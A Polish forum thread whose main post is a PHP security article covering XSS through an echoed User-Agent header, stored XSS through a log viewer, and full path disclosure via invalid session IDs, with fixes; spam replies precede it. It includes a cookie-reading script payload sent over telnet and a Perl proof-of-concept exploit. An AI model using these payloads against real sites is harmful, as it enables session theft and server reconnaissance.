Przegląd tematu
Autor Wiadomość
honda-radio
PostWysłany: Sob 4:37, 16 Lut 2008    Temat postu:

Thx! Smile
BMW
PostWysłany: Nie 17:55, 20 Sty 2008    Temat postu:

Cool site! Helpful topic! Smile
Kilkoi
PostWysłany: Pon 14:30, 24 Gru 2007    Temat postu:

Cool topic! Wink
Kilkoi
PostWysłany: Nie 20:24, 23 Gru 2007    Temat postu:

Cool topic! Wink
ehklxvxvzq
PostWysłany: Śro 17:37, 17 Paź 2007    Temat postu:

Hello! Good Site! Thanks you! ypnxyyzzaq
haker512
PostWysłany: Pią 20:45, 09 Lut 2007    Temat postu: php

1) Wprowadzenie.
2) (Nie)bezpieczeństwo wyświetlania wersji przeglądarki.
3) Sesje..


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


1)


W tym artykule postaram się przedstawić pare zagadnień z obszaru
bezpieczeństwa skryptów PHP, głównie na podstawie moich doświadczeń.
Postaram się aby rzeczy które tu przedstawie nie były kopią (małą zmianą)
innych publikacji, na temat ogólnego bezpieczeństwa w PHP
a raczej innym aspektem spojrzenia na tego typu zagadnienie.
Tak czy inaczej mam nadzieje że artykuł przedstawi coś nowego w tym temacie.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


2)


Jak wiadomo jednym ze sposób wyświetlenia na stronie wersji przeglądarki
użytkownika jest użycie zmiennej 'HTTP_USER_AGENT' w praktyce wygląda to tak:


- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo $user_agent;
?>

- - -


Skrypt ten wyświetli nazwę przeglądarki użytkownika na stronie.
Co więc jest niebezpiecznego w takim skrypcie?
A więc możemy wysłać w nagłówku 'User-Agent' kod XSS który zostanie wykonany.
Przedstawie teraz mniej więcej jak ma wyglądać taki nagłówek:


- - -
Kod:
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
User-Agent: <script>alert(document.cookie)</script>

- - -


Oczywiście w telnecie nie zobaczymy co się stało Wink
ale można użyć przeglądarki tekstowej typu lynx, links
aby kod javascript został wykonany.
Teraz pewnie ktoś by zadał pytanie 'Jak można to właściwie wykorzystać?'


A więc załóżmy że mamy na stronie takie skrypty:


- - -
Kod:
// index.php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$dane = $_SERVER['REMOTE_ADDR']." - ".$user_agent."
\n";
$nazwapliku = 'log.txt';
if(isset($user_agent)) {
$uchwyt = fopen($nazwapliku, 'a');
fwrite($uchwyt, $dane);
fclose($uchwyt);
}
?>
- - -


- - -
// admin.php
$nazwapliku = 'log.txt';
$uchwyt = fopen($nazwapliku, "r");
readfile("log.txt");
?>

- - -


Plik index.php zapisuje adres IP i nazwę przeglądarki do pliku,
admin.php po prostu odczytuje dane z pliku log.txt,
a następnie wyświetla je na stronie.
Wszystko działa prawidłowo.
Ale jeśli zmienimy nagłówek 'User-Agent' możemy zastosować atak 'html injection'
jak i 'XSS' co daje bardzo duże możliwości wykorzystania..


Co do zabezpieczeń, myśle że zastosowanie funkcji
'htmlspecialchars()' na '$_SERVER['HTTP_USER_AGENT']' będzie odpowiednie.

Wygląda to tak:


- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo htmlspecialchars($user_agent);
?>

- - -


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


2)


Pozwolę sobie zacytować:


"Gość wchodzący na twoją stronę WWW otrzymuje unikalny identyfikator, tzw. id sesji.
Jest ono przechowywane albo jako ciasteczko po stronie użytkownika
lub propagowane w URL'u." (C php.net)


Dość niedawno odkryłem dziwne zachowanie php gdy jako id sesji podamy 'złe znaki'
jak np: '@, !, #, ^' itd.. mianowicie php wyrzuca błąd przez co ujawnia ścieżkę
dostępu do pliku. Przykład:

Kod:

- - -
session_start();
?>
- - -


- - -
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
Cookie: PHPSESSID=@
HTTP/1.1 200 OK
(...)
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /var/www/htdocs/tmp/index.php
on line 3



Warning: Unknown(): The session id contains invalid characters, valid characters
are only a-z, A-Z and 0-9 in Unknown
on line 0



Warning: Unknown(): Failed to write session data (files).
Please verify that the current setting of session.save_path is correct
(/tmp) in Unknown on line 0

Connection closed by foreign host.
- - -



Oczywiście możemy się przed tym zabezpieczyć poprzez zmienną 'display_errors'
ustawioną na 'Off' lub też dodać '@' przed 'session_start()' co zmniejszy 'wyciek informacji'


Pozwoliłem sobie napisać prostego 'POC' exploita na ten błąd :

Kod:


Kod:


#!/usr/bin/perl
#
# (Proof Of Concept) by Kamil 'K3' Sienicki
#
# display_errors must be On
#


use IO::Socket;

if(@ARGV < 3) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "1. Create fake session file (sess_fake) in directory (default /tmp). \n";
print "2. Full path disclosure.\n\n";


print "Usage: ./php_bug.pl [host] [address] [type of attack (1 or 2)]\n\n";


exit;
}


$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "80" ) || die "[-] Connect failed! \r\n";


if($ARGV[2] == 1) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
print "Name of fake sess_file: ";
$fake = ;
chomp($sess,$fake);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=$fake\n\n";
print "'$fake' fake file was created.. \n";
} elsif ($ARGV[2] == 2) {


print "\n";


print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
chomp($sess);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=@\n\n";
while ($answer = <$socket>) {
if ($answer =~ m/^...Warning/) {
print $answer."\n";
}
}


}








Co najdziwniejsze po opublikowaniu tego 'błędu?' na bugs.php.net
stwierdzone zostało że wcale nie jest to żaden bug.
Jak to zostało mniej więcej napisane.. wiekszość błędów wyświetla ścieżkę dostępu do pliku.
Problem w tym że użytkownik może napisać 'teoretycznie' prawidłowy kod który 'praktycznie'
nie będzie 100% bezpieczny a sam nie będzie o tym wiedział.
Jeśli stosuje 'obscurity' czyli np: ukrywa w ścieżce ważne nadrzędne katalogi
(z doświadczenia wiem że często tak się zdarza) tym bardziej tzw.
'Full Path Disclosure' będzie w tym przypadku niebezpieczny i możemy
uzyskać informacje do których nie powinniśmy mieć dostępu..

Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.